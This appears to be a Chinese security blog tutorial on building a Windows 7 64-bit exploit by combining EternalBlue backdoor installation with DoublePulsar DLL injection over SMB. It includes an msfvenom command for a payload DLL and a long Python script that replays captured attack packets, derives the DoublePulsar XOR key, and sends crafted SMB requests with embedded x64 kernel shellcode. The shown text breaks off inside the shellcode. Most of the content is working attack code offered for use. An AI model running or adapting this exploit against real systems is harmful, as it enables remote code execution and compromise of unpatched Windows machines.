作者:東
前言
在上一篇文章中,原文链接: http://bobao.360.cn/learning/detail/4012.html
我们构造了针对于Win 7三十二位操作系统攻击exploit,本节将完成一个win7 64位的exploit
上节回顾
win7 三十二位的exploit是由两部分功能代码组成的,一个是安装后门(Eternalblue) ,另一个则是后门维持(Doublepulsar)
1.Win7三十二位与六十四位安装后门 实际就是hook了ntdll!kiFastCallEntry。所以内核层函数的hook(后门安装)也是受内核版本影响
2.注入部分。没什么解释的,通常情况32位dll只能注入32位进程, 64位dll只能注入64位进程
想多了解些的可以读下15pb 赵神这篇 (关于32位和64位进程互读互写)
实验环境
网络环境: 局域网
攻击ip: 192.168.157.129(win7_x86)
靶机ip: 192.168.157.130(win7_x64)
工具: NSA的fb.py、wireshark、python、hex editor、
实验步骤
0x1: 一样的套路 开wireshark监听port 445捕捉到Eternalblue的数据流
0x2: 捕捉Doubleplusar动作的数据流
在六十四位下和三十二位包的数量都是一样的,可能不同就在某个字段上。
0x3: 数据包处理
接着就用上节的脚本来把Eternalblue攻击的数据包序列化供给我们的python调用
接着就是手动去分析Doubleplusar 在六十四位和三十二位的不同,参考文章:
http://bobao.360.cn/learning/detail/4074.html
发现是signature字段
三十二位: xxxxxxxxx0xxxxxx
六十四位: xxxxxxxxx1xxxxxx
其他没什么问题。
0x4: exploit构造脚本
关于测试dll的生成:
kali-> msfvenom -p windows/x64/exec CMD=”calc.exe” -f dll > /x64.dll
这样生成就可以, 上面我用Doublepuls注入的dll是用msf生的。 注入哪个进程随你,脚本中默认是explorer。
测试dll要选择64位dll。否则可能出现蓝屏现象。
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
|
#!/usr/bin/python# -*- coding: utf-8 -*-import socketimport timeimport astimport binasciiimport structHOST ='192.168.157.130'PORT = 445dllfile = "x64_calc.dll"s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)s.connect((HOST,PORT))def Install_Backdoor(): backlog = open("eternalblue.replay").read().split("\n\n") backlog = [ast.literal_eval(i) for i in backlog] connections = [] start = time.time() for i in backlog: delta = i[-1] - (start - time.time()) print(i[0], delta) if delta > 0: time.sleep(delta) start = time.time() if i[0] == "connect": sock = socket.socket() sock.connect((HOST , PORT )) connections.append({"socket":sock,"stream" : i[1]}) if i[0] == "close": [j['socket'].close() for j in connections if j["stream"] == i[1]] if i[0] == "send": [j['socket'].send(i[2]) for j in connections if j["stream"] == i[1]] if i[0] == "recv": [j['socket'].recv(2048) for j in connections if j['stream'] == i[1]] def calculate_doublepulsar_xor_key(s): """Calaculate Doublepulsar Xor Key """ x = (2 * s ^ (((s & 0xff00 | (s << 16)) << 8) | (((s >> 16) | s & 0xff0000) >> 8))) x = x & 0xffffffff # this line was added just to truncate to 32 bits return xdef make_unicode_host(org_host): host_len = len(org_host) new_host = "" for i in range(host_len): new_host =new_host + "\x00" + org_host[i] return new_hostdef get_smb_signature(smb_data): print binascii.b2a_hex(smb_data[18:22]) return smb_data[18:22] def get_key(smb_data): smb_sign = struct.unpack("<I",get_smb_signature(smb_data))[0] print "smb_sign:","0x%X"%(smb_sign) int_key = calculate_doublepulsar_xor_key(smb_sign) print "int_key:","0x%X"%(int_key) key=struct.pack("<I",int_key) print "key:",binascii.b2a_hex(key) return keydef xor_data(org_data , key): #异或加密 newdata = "" for i in range(len(org_data)): newdata += chr(ord(org_data[i]) ^ ord(key[i%len(key)])) #print binascii.b2a_hex(newdata) return newdata def make_smb_request(send_data , key): data_len = len(send_data) array = [] ncount = data_len / 4096 if (data_len % 4096) > 0: ncount += 1 make_data ="" for i in range(ncount): if i < ncount-1: smb_Length = struct.pack(">H",4096 +32 +34 + 12) #print binascii.b2a_hex(smb_Length) totalDataCount = struct.pack("<H",4096) byteCount = struct.pack("<H",4096 + 13) make_data = send_data[i*4096:(i+1)*4096] else: smb_Length = struct.pack(">H",data_len - 4096*i +32 +34 + 12) totalDataCount = struct.pack("<H",data_len - 4096*i) byteCount = struct.pack("<H",data_len - 4096*i+ 13) make_data = send_data[i*4096:] netBIOS_header = "\x00\x00"+ smb_Length smb_header = "\xFF\x53\x4D\x42\x32\x00\x00\x00\x00\x18\x07\xC0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\xFF\xFE\x00\x08\x42\x00" transRequest_header = "\x0F\x0C\x00"+ totalDataCount +"\x01\x00\x00\x00\x00\x00\x00\x00\xF0\xCC\x0C\x00\x00\x00\x0C\x00\x42\x00"+totalDataCount+"\x4E\x00\x01\x00\x0E\x00"+ byteCount +"\x00" data_index = struct.pack(">H",i*0x10) data_header = "\x00\x2C\x00\x00"+totalDataCount+"\x00\x00"+data_index+"\x00\x00" #print "data_index:",binascii.b2a_hex(data_index) #print "data_header:",binascii.b2a_hex(data_header) #print len(data_header) array.append(netBIOS_header + smb_header +transRequest_header + xor_data(data_header + make_data,key)) return array , ncount if __name__ == "__main__": #安装后门 Install_Backdoor() print "------Install backdoor done!------" #上传并执行dll #smb 头是32字节 请求包50字节 ,以下一行30字节 #smb版本 step_0_data ="\x00\x00\x00\x85\xFF\x53\x4D\x42\x72\x00\x00\x00\x00\x18\x53\xC0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xFF\xFE\x00\x00\x40\x00\x00\x62\x00\x02\x50\x43\x20\x4E\x45\x54\x57\x4F\x52\x4B\x20\x50\x52\x4F\x47\x52\x41\x4D\x20\x31\x2E\x30\x00\x02\x4C\x41\x4E\x4D\x41\x4E\x31\x2E\x30\x00\x02\x57\x69\x6E\x64\x6F\x77\x73\x20\x66\x6F\x72\x20\x57\x6F\x72\x6B\x67\x72\x6F\x75\x70\x73\x20\x33\x2E\x31\x61\x00\x02\x4C\x4D\x31\x2E\x32\x58\x30\x30\x32\x00\x02\x4C\x41\x4E\x4D\x41\x4E\x32\x2E\x31\x00\x02\x4E\x54\x20\x4C\x4D\x20\x30\x2E\x31\x32\x00" s.sendall(step_0_data) data = s.recv(1024) print 0,data #windows系统版本 step_1_data ="\x00\x00\x00\x88\xFF\x53\x4D\x42\x73\x00\x00\x00\x00\x18\x07\xC0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xFF\xFE\x00\x00\x40\x00\x0D\xFF\x00\x88\x00\x04\x11\x0A\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\xD4\x00\x00\x00\x4B\x00\x00\x00\x00\x00\x00\x57\x00\x69\x00\x6E\x00\x64\x00\x6F\x00\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x30\x00\x20\x00\x32\x00\x31\x00\x39\x00\x35\x00\x00\x00\x57\x00\x69\x00\x6E\x00\x64\x00\x6F\x00\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x30\x00\x20\x00\x35\x00\x2E\x00\x30\x00\x00\x00" s.sendall(step_1_data) data = s.recv(1024) print 1,data #对方ip地址 x.x.x.x 其中有2个字节与x86的不一致 str_ip = "\xFF\x53\x4D\x42\x75\x00\x00\x00\x00\x18\x07\xC0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xFF\xFE\x00\x08\x40\x00\x04\xFF\x00\x5e\x00\x08\x00\x01\x00\x33\x00\x00\x5C\x00\x5C"+ make_unicode_host(HOST)+"\x00\x5C\x00\x49\x00\x50\x00\x43\x00\x24\x00\x00\x00\x3F\x3F\x3F\x3F\x3F\x00" step_2_data ="\x00\x00\x00"+chr(len(str_ip))+ str_ip #print binascii.b2a_hex(step_2_data) #print step_2_data s.sendall(step_2_data) data = s.recv(1024) print 2,data #验证得到signature step_3_data ="\x00\x00\x00\x4E\xFF\x53\x4D\x42\x32\x00\x00\x00\x00\x18\x07\xC0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\xFF\xFE\x00\x08\x41\x00\x0F\x0C\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x1F\x36\xCE\x00\x00\x00\x0C\x00\x42\x00\x00\x00\x4E\x00\x01\x00\x0E\x00\x0D\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" s.sendall(step_3_data) response = s.recv(1024) print 3,response print 3,binascii.b2a_hex(response) key = get_key(response) #shellcode+dll kernel_shellcode ="\x48\x89\xE0\x66\x83\xE4\xF0\x41\x57\x41\x56\x41\x55\x41\x54\x53\x51\x52\x55\x57\x56\x50\x50\xE8\xBC\x06\x00\x00\x48\x89\xC3\x48\xB9\xDF\x81\x14\x3E\x00\x00\x00\x00\xE8\x26\x05\x00\x00\x48\x85\xC0\x0F\x84\x55\x03\x00\x00\x48\x89\x05\x9C\x07\x00\x00\x48\xB9\xBA\x1E\x03\xA0\x00\x00\x00\x00\xE8\x07\x05\x00\x00\x48\x85\xC0\x0F\x84\x36\x03\x00\x00\x48\x89\x05\x85\x07\x00\x00\x48\xB9\x84\x06\xE7\xF9\xFF\xFF\xFF\xFF\xE8\xE8\x04\x00\x00\x48\x85\xC0\x0F\x84\x17\x03\x00\x00\x48\x89\x05\x6E\x07\x00\x00\x48\xB9\x4F\xFE\xEB\x15\x00\x00\x00\x00\xE8\xC9\x04\x00\x00\x48\x85\xC0\x0F\x84\xF8\x02\x00\x00\x48\x89\x05\x57\x07\x00\x00\x48\xB9\xF9\x30\xAC\xA4\x00\x00\x00\x00\xE8\xAA\x04\x00\x00\x48\x85\xC0\x0F\x84\xD9\x02\x00\x00\x48\x89\x05\x40\x07\x00\x00\x48\xB9\xCA\xBE\xD0\xEC\x00\x00\x00\x00\xE8\x8B\x04\x00\x00\x48\x85\xC0\x0F\x84\xBA\x02\x00\x00\x48\x89\x05\x29\x07\x00\x00\x48\xB9\xAE\xB8\x9F\x5D\xFF\xFF\xFF\xFF\xE8\x6C\x04\x00\x00\x48\x85\xC0\x0F\x84\x9B\x02\x00\x00\x48\x89\x05\x12\x07\x00\x00\x48\xB9\x94\x01\x69\xE3\xFF\xFF\xFF\xFF\xE8\x4D\x04\x00\x00\x48\x85\xC0\x0F\x84\x7C\x02\x00\x00\x48\x89\x05\xFB\x06\x00\x00\x48\xB9\xF6\x10\x00\xB8\xFF\xFF\xFF\xFF\xE8\x2E\x04\x00\x00\x48\x85\xC0\x0F\x84\x5D\x02\x00\x00\x48\x89\x05\xE4\x06\x00\x00\x48\xB9\xCA\xD6\x5F\xD2\xFF\xFF\xFF\xFF\xE8\x0F\x04\x00\x00\x48\x85\xC0\x0F\x84\x3E\x02\x00\x00\x48\x89\x05\xCD\x06\x00\x00\x48\xB9\x79\xA8\x24\x11\x00\x00\x00\x00\xE8\xF0\x03\x00\x00\x48\x85\xC0\x0F\x84\x1F\x02\x00\x00\x48\x89\x05\xB6\x06\x00\x00\x48\xB9\x37\xC6\x90\x4F\x00\x00\x00\x00\xE8\xD1\x03\x00\x00\x48\x85\xC0\x0F\x84\x00\x02\x00\x00\x48\x89\x05\x9F\x06\x00\x00\x48\xB9\x6C\xE7\xFE\x10\x00\x00\x00\x00\xE8\xB2\x03\x00\x00\x48\x85\xC0\x0F\x84\xE1\x01\x00\x00\x48\x89\x05\x88\x06\x00\x00\xE8\x4F\x03\x00\x00\x8B\x05\x85\x06\x00\x00\x85\xC0\x0F\x84\xC7\x01\x00\x00\xE8\xD9\x01\x00\x00\x48\x85\xC0\x0F\x84\xB9\x01\x00\x00\x4C\x8D\x0D\x94\x06\x00\x00\x41\x8B\x09\x51\x51\x6A\x40\x68\x00\x10\x00\x00\x4D\x31\xC0\x48\x8D\x15\xD2\x05\x00\x00\x48\xB9\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x48\x83\xEC\x20\xFF\x15\x06\x06\x00\x00\x48\x83\xC4\x38\x59\x89\x0D\x5F\x06\x00\x00\x48\x85\xC0\x0F\x85\x22\x01\x00\x00\x48\x8D\x35\x57\x06\x00\x00\x48\x8B\x3D\x9C\x05\x00\x00\xF3\xA4\x80\x3D\x2F\x06\x00\x00\x01\x74\x05\xE8\x96\x02\x00\x00\x48\x8B\x35\x4D\x05\x00\x00\x8B\x0D\x0F\x06\x00\x00\x48\x01\xCE\x48\x89\xF1\x44\x8B\x25\x06\x06\x00\x00\x48\x8B\x11\x48\x39\xD6\x0F\x84\xDE\x00\x00\x00\x48\x31\xC0\x8B\x05\xDD\x05\x00\x00\x48\x29\xC2\x51\x52\x48\x89\xD1\x48\x83\xEC\x20\xFF\x15\xC3\x05\x00\x00\x48\x83\xC4\x20\x5A\x59\x48\x85\xC0\x74\x2E\x4D\x31\xC9\x44\x8B\x0D\xCE\x05\x00\x00\x4A\x8B\x04\x08\x48\x85\xC0\x74\x1B\x4C\x01\xE2\x80\x3D\xBF\x05\x00\x00\x01\x74\x07\x80\x3A\x01\x74\x0F\xEB\x08\x8B\x02\x0F\xBA\xE0\x05\x72\x05\x48\x8B\x09\xEB\x9B\x4C\x29\xE2\x48\x89\x15\x0B\x05\x00\x00\x48\xBA\x90\x00\x00\x00\x00\x00\x00\x00\x48\x31\xC9\x48\x83\xEC\x40\xFF\x15\x3C\x05\x00\x00\x48\x83\xC4\x40\x48\x85\xC0\x74\x5B\x48\x89\x05\xEC\x04\x00\x00\xC6\x80\x80\x00\x00\x00\xC3\x48\x31\xC9\x51\x6A\x01\xFF\x35\xC9\x04\x00\x00\x51\x4C\x8D\x88\x80\x00\x00\x00\x4D\x31\xC0\x48\x8B\x15\xBF\x04\x00\x00\x48\x89\xC1\x48\x83\xEC\x20\xFF\x15\x02\x05\x00\x00\x48\x83\xC4\x40\x4D\x31\xC9\x4D\x31\xC0\x48\x31\xD2\x48\x8B\x0D\xA6\x04\x00\x00\x48\x83\xEC\x20\xFF\x15\xEC\x04\x00\x00\x48\x83\xC4\x20\x48\x83\xEC\x20\x48\x8D\x0D\x4D\x04\x00\x00\xFF\x15\xAF\x04\x00\x00\x48\x8B\x0D\x38\x04\x00\x00\xFF\x15\xAA\x04\x00\x00\x48\x83\xC4\x20\x48\x31\xC0\x48\x8D\x3D\x9A\xFC\xFF\xFF\x48\xB9\x70\x03\x00\x00\x00\x00\x00\x00\xF3\xAA\x48\x8D\x3D\x2A\x00\x00\x00\x48\xB9\xD3\x04\x00\x00\x00\x00\x00\x00\x48\x03\x0D\xE4\x04\x00\x00\xF3\xAA\x58\x58\x5E\x5F\x5D\x5A\x59\x5B\x41\x5C\x41\x5D\x41\x5E\x41\x5F\x48\x89\xC4\x48\x31\xC0\xC3\x53\x56\x51\x52\x48\xB9\x08\x00\x00\x00\x00\x00\x00\x00\x51\x48\x8D\x15\xD1\x03\x00\x00\x48\x83\xEC\x20\xFF\x15\x17\x04\x00\x00\x48\x83\xC4\x20\x48\x85\xC0\x0F\x85\xDD\x00\x00\x00\x48\x8B\x35\xB3\x03\x00\x00\x48\x31\xDB\x8B\x1D\x66\x04\x00\x00\x8B\x04\x1E\x83\xF8\x02\x0F\x8C\xB0\x00\x00\x00\x48\x89\xF1\x48\x83\xEC\x20\xFF\x15\xE9\x03\x00\x00\x48\x83\xC4\x20\xE8\x57\x02\x00\x00\x8B\x0D\x5A\x04\x00\x00\x39\xC8\x0F\x85\x8C\x00\x00\x00\x48\x8D\x15\x7B\x03\x00\x00\x48\x89\xF1\x48\x83\xEC\x20\xFF\x15\xC6\x03\x00\x00\x48\x89\xF1\xFF\x15\xC5\x03\x00\x00\x48\x83\xC4\x20\x48\x85\xC0\x74\x49\x48\x31\xDB\x8B\x1D\x0B\x04\x00\x00\x48\x8B\x04\x18\x48\x85\xC0\x74\x37\x48\x31\xC9\x8B\x1D\xFD\x03\x00\x00\x66\x8B\x0C\x18\x48\x8B\x44\x18\x08\x48\x85\xC0\x74\x20\x48\x31\xDB\x8B\x1D\x02\x04\x00\x00\x48\x29\xD9\x7C\x12\x48\x01\xC8\xE8\x2B\x02\x00\x00\x8B\x0D\xEB\x03\x00\x00\x39\xC8\x74\x3F\x31\xC0\x89\x05\x03\x03\x00\x00\x48\x8D\x0D\x04\x03\x00\x00\x48\x83\xEC\x20\xFF\x15\x62\x03\x00\x00\x48\x83\xC4\x20\x48\x89\xF1\x48\x83\xEC\x20\xFF\x15\x59\x03\x00\x00\x48\x83\xC4\x20\x59\x81\xF9\x00\x00\x01\x00\x7F\x0E\x83\xC1\x04\xE9\xF3\xFE\xFF\xFF\x59\x48\x89\xF0\xEB\x03\x48\x31\xC0\x5A\x59\x5E\x5B\xC3\x48\x8B\x35\xB7\x02\x00\x00\x8B\x0D\x79\x03\x00\x00\x48\x01\xCE\x48\x8B\x16\x8B\x05\x5D\x03\x00\x00\x48\x29\xC2\x48\x31\xC0\x48\xFF\xC8\x48\xC1\xE0\x2C\x48\x8B\x12\x48\x39\xC2\x72\x0B\xB8\xE8\x03\x00\x00\x89\x05\x3D\x03\x00\x00\xC3\x56\x51\x52\x48\x83\xEC\x20\xFF\x15\x1F\x03\x00\x00\x48\x89\xC6\x8B\x05\x36\x03\x00\x00\x48\x01\xC6\xFF\x15\x05\x03\x00\x00\x48\x89\xF1\x48\x39\xF0\x77\x17\x48\x8D\x90\x00\x05\x00\x00\x48\x39\xF2\x72\x0B\x48\x29\xC6\x89\x35\x00\x03\x00\x00\xEB\x08\x48\x8B\x36\x48\x39\xCE\x75\xDC\x48\x83\xC4\x20\x5A\x59\x5E\xC3\x53\x52\x51\x55\x48\x89\xE5\x48\x81\xEC\x00\x01\x00\x00\x57\x48\x89\xCF\x48\x89\xD8\x48\x89\x85\x00\xFF\xFF\xFF\xE8\xBB\x00\x00\x00\x48\x89\x85\x08\xFF\xFF\xFF\xE8\x48\x01\x00\x00\x48\x89\x85\x10\xFF\xFF\xFF\x48\x8B\x85\x00\xFF\xFF\xFF\x48\x8B\x8D\x08\xFF\xFF\xFF\xE8\x9A\x01\x00\x00\x48\x89\x85\x18\xFF\xFF\xFF\x48\x8B\x85\x00\xFF\xFF\xFF\x48\x8B\x8D\x08\xFF\xFF\xFF\xE8\x8F\x01\x00\x00\x48\x89\x85\x20\xFF\xFF\xFF\x48\x8B\x85\x00\xFF\xFF\xFF\x48\x8B\x8D\x08\xFF\xFF\xFF\xE8\x84\x01\x00\x00\x48\x89\x85\x28\xFF\xFF\xFF\x48\x8B\x85\x00\xFF\xFF\xFF\x48\x89\xF9\x48\x8B\x95\x20\xFF\xFF\xFF\x48\x8B\x9D\x10\xFF\xFF\xFF\xE8\x0F\x01\x00\x00\x48\x89\x85\x30\xFF\xFF\xFF\x48\x8B\x85\x28\xFF\xFF\xFF\x48\x8B\x8D\x30\xFF\xFF\xFF\xE8\x55\x01\x00\x00\x66\x89\xC2\x48\x8B\x85\x00\xFF\xFF\xFF\x48\x8B\x8D\x18\xFF\xFF\xFF\xE8\x49\x01\x00\x00\x5F\x48\x81\xC4\x00\x01\x00\x00\x5D\x59\x5A\x5B\xC3\x56\x57\x48\x31\xF6\x8B\x70\x3C\x48\x01\xC6\x66\x81\x3E\x50\x45\x75\x12\x48\x81\xC6\x88\x00\x00\x00\x48\x31\xFF\x8B\x3E\x48\x01\xF8\x5F\x5E\xC3\x48\x31\xC0\xEB\xF8\x56\x51\x57\x48\x89\xC6\x48\x31\xC0\x89\xC7\xC1\xE7\x07\x29\xC7\x89\xF8\x31\xC9\x8A\x0E\x80\xF9\x00\x74\x07\x01\xC8\x48\xFF\xC6\xEB\xE7\x5F\x59\x5E\xC3\x56\x57\x52\x48\x89\xC6\x48\x31\xC0\x89\xC7\xC1\xE7\x07\x29\xC7\x89\xF8\x31\xD2\x8A\x16\x01\xD0\x48\xFF\xC6\xE2\xEC\x5A\x5F\x5E\xC3\x56\x51\x57\x48\x89\xC6\x48\x31\xC0\x89\xC7\xC1\xE7\x07\x29\xC7\x89\xF8\x31\xC9\x8A\x0E\x80\xF9\x00\x74\x0A\x01\xC8\x48\xFF\xC6\x48\xFF\xC6\xEB\xE4\x5F\x59\x5E\xC3\x56\x48\x89\xC6\x48\x83\xC6\x18\x48\x31\xC0\x8B\x06\x5E\xC3\x53\x65\x48\x8B\x04\x25\x38\x00\x00\x00\x48\x8B\x40\x04\x48\xC1\xE8\x0C\x48\xC1\xE0\x0C\x48\x8B\x18\x66\x81\xFB\x4D\x5A\x74\x08\x48\x2D\x00\x10\x00\x00\xEB\xEE\x5B\xC3\x57\x56\x51\x48\x31\xFF\x48\x89\xC6\x48\x31\xC0\x8B\x04\xBA\x48\x01\xF0\xE8\x40\xFF\xFF\xFF\x39\xC8\x74\x0E\x48\xFF\xC7\x48\x39\xDF\x74\x0B\xEB\xE4\x59\x5E\x5F\xC3\x48\x89\xF8\xEB\xF7\x48\x31\xC0\xEB\xF2\x56\x48\x89\xC6\x48\x31\xC0\x8B\x41\x1C\x48\x01\xF0\x5E\xC3\x56\x48\x89\xC6\x48\x31\xC0\x8B\x41\x20\x48\x01\xF0\x5E\xC3\x56\x48\x89\xC6\x48\x31\xC0\x8B\x41\x24\x48\x01\xF0\x5E\xC3\x48\xD1\xE1\x48\x01\xC8\x66\x8B\x00\xC3\x48\x81\xCA\x00\x00\xFF\xFF\x48\x81\xF2\x00\x00\xFF\xFF\x48\xC1\xE2\x02\x48\x01\xD1\x48\x31\xD2\x8B\x11\x48\x01\xD0\xC3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x28\x03\x00\x00\x20\x00\x00\x00\x70\x00\x00\x00\x08\x03\x00\x00\x4C\x00\x00\x00\xC8\x02\x00\x00\x01\x00\x00\x00\xBD\xA2\x37\x83\x00\x00\x00\x00\x00\x00\x00\x00\x8A\x23\x00\x00\x00\x00\x00\x00\x53\x55\x57\x56\x41\x54\x41\x55\x41\x56\x41\x57\x48\x89\xE0\x48\x89\xE1\x48\x83\xE1\x08\x48\x29\xCC\x48\x81\xEC\x00\x04\x00\x00\xE8\x00\x00\x00\x00\x5D\x48\x89\xE6\x48\x89\x06\x48\x81\xEC\x00\x04\x00\x00\x48\x8D\x3D\xD2\x0E\x00\x00\x49\x89\xF0\x48\x83\xC6\x08\x48\x31\xC9\x8A\x0F\x84\xC9\x74\x3F\x48\xFF\xC7\x8B\x0F\x48\x83\xC7\x04\x8B\x17\x48\x83\xC7\x04\x84\xD2\x74\x2C\xE8\xD4\x0D\x00\x00\x51\x0F\xB6\x0F\x48\x85\xC9\x59\x75\x09\x48\x85\xC0\x0F\x84\xB9\x0D\x00\x00\x48\x89\x06\x48\x83\xC6\x08\x30\xC0\x48\x83\xC7\x01\x3A\x47\x04\x74\xCC\xEB\xB8\x4C\x89\xC6\x48\x89\x25\x3D\x0D\x00\x00\x48\x89\x2D\x3E\x0D\x00\x00\x48\x89\x35\x3F\x0D\x00\x00\x90\xE8\x00\x00\x00\x00\x59\x4D\x31\xC9\x49\x89\xC8\x48\x31\xD2\xB2\x01\x48\x8D\x0D\x2E\x0D\x00\x00\x48\x83\xEC\x20\xFF\x56\x38\x48\x83\xC4\x20\x49\xB9\x40\x00\x00\x00\x00\x00\x00\x00\x49\xB8\x00\x30\x00\x00\x00\x00\x00\x00\x48\x31\xD2\x8B\x95\x5D\x0F\x00\x00\x48\x31\xC9\x48\x83\xEC\x20\xFF\x56\x08\x48\x83\xC4\x20\x48\x85\xC0\x0F\x84\xCF\x0C\x00\x00\x48\x89\xC3\x56\x8B\x8D\x5D\x0F\x00\x00\x48\x8D\x35\x80\x0E\x00\x00\x48\x89\xDF\xF3\xA4\x5E\x48\x89\x5E\x48\x48\x31\xC0\x8B\x85\x5D\x0F\x00\x00\x48\x89\x46\x50\x48\x31\xC9\x8B\x8D\x5D\x0F\x00\x00\x48\x8D\x3D\x59\x0E\x00\x00\x31\xC0\xF3\xAA\x48\x31\xC0\x48\x89\x46\x58\x48\x89\x46\x60\x48\x89\x46\x68\x48\x8D\x05\x77\x09\x00\x00\x48\x89\x05\xC4\x02\x00\x00\x48\x8D\x05\x71\x09\x00\x00\x48\x89\x05\xBE\x02\x00\x00\x48\x8D\x05\x78\x09\x00\x00\x48\x89\x05\xB8\x02\x00\x00\x48\x8D\x05\x86\x09\x00\x00\x48\x89\x05\xB2\x02\x00\x00\x48\x8D\x05\xA7\x08\x00\x00\x48\x89\x05\xAC\x02\x00\x00\x55\x48\x8D\x2D\xD6\x01\x00\x00\x48\x8B\x7E\x48\xE8\xA3\x02\x00\x00\x48\x85\xC0\x0F\x85\x13\x01\x00\x00\xE8\x1A\x03\x00\x00\x48\x85\xC0\x0F\x84\x05\x01\x00\x00\x48\x89\x45\x20\x48\x8B\x7D\x08\x48\x83\xC7\x30\x48\x8B\x3F\x48\x8B\x45\x20\x48\x29\xF8\x48\x89\x45\x28\xE8\x64\x03\x00\x00\x48\x85\xC0\x0F\x85\xDD\x00\x00\x00\xE8\xE6\x03\x00\x00\x48\x85\xC0\x0F\x85\xCF\x00\x00\x00\xE8\x4E\x05\x00\x00\x48\x85\xC0\x0F\x85\xC1\x00\x00\x00\xE8\x57\x05\x00\x00\x48\x85\xC0\x0F\x85\xB3\x00\x00\x00\xE8\x57\x06\x00\x00\x48\x85\xC0\x0F\x85\xA5\x00\x00\x00\xE8\xBA\x06\x00\x00\x48\x85\xC0\x0F\x85\x97\x00\x00\x00\xE8\xC6\x07\x00\x00\x48\x85\xC0\x0F\x85\x89\x00\x00\x00\x48\x8B\x45\x20\x48\x89\x46\x70\x48\x8B\x45\x18\x48\x89\x46\x78\x5D\x8B\x85\x61\x0F\x00\x00\x89\x86\x80\x00\x00\x00\x48\x8B\x56\x70\x48\x63\x42\x3C\x48\x8D\x9C\x10\x88\x00\x00\x00\x48\x85\xDB\x74\x48\x8B\x1B\x48\x01\xD3\x83\x7B\x14\x00\x74\x3D\x8B\xBE\x80\x00\x00\x00\x2B\x7B\x10\x3B\x7B\x14\x7F\x2F\x8B\x4B\x1C\x48\x01\xD1\x8B\x04\xB9\x48\x01\xD0\x48\x83\xEC\x20\x4C\x8B\x46\x50\x48\x8B\x56\x48\x48\xB9\x02\x00\x00\x00\x00\x00\x00\x00\xFF\xD0\x48\x83\xC4\x20\x48\x89\x86\x88\x00\x00\x00\x55\x48\x8D\x2D\xB8\x00\x00\x00\xE8\x28\x07\x00\x00\xEB\x00\x48\x8B\x4D\x78\x48\x85\xC9\x74\x0B\x48\x83\xEC\x20\xFF\x56\x40\x48\x83\xC4\x20\x48\x8B\x7D\x20\x48\x85\xFF\x0F\x84\x8A\x00\x00\x00\x4C\x8D\x8D\xAA\x00\x00\x00\x49\xB8\x40\x00\x00\x00\x00\x00\x00\x00\x48\x8B\x55\x50\x48\x8B\x4D\x20\x48\x83\xEC\x20\xFF\x56\x30\x48\x83\xC4\x20\x48\x85\xC0\x74\x09\x48\x8B\x4D\x50\x48\x31\xC0\xF3\xAA\x49\xB8\x00\x80\x00\x00\x00\x00\x00\x00\x48\xBA\x00\x00\x00\x00\x00\x00\x00\x00\x48\x8B\x4D\x20\x48\x83\xEC\x20\xFF\x56\x10\x48\x83\xC4\x20\x48\x8B\x7D\x60\x48\x85\xFF\x74\x2C\x48\x8B\x4D\x68\x48\x31\xC0\xF3\xAA\x49\xB8\x00\x80\x00\x00\x00\x00\x00\x00\x48\xBA\x00\x00\x00\x00\x00\x00\x00\x00\x48\x8B\x4D\x60\x48\x83\xEC\x20\xFF\x56\x10\x48\x83\xC4\x20\x5D\xE9\x60\x0A\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x48\xB8\xFF\xFF\xFF\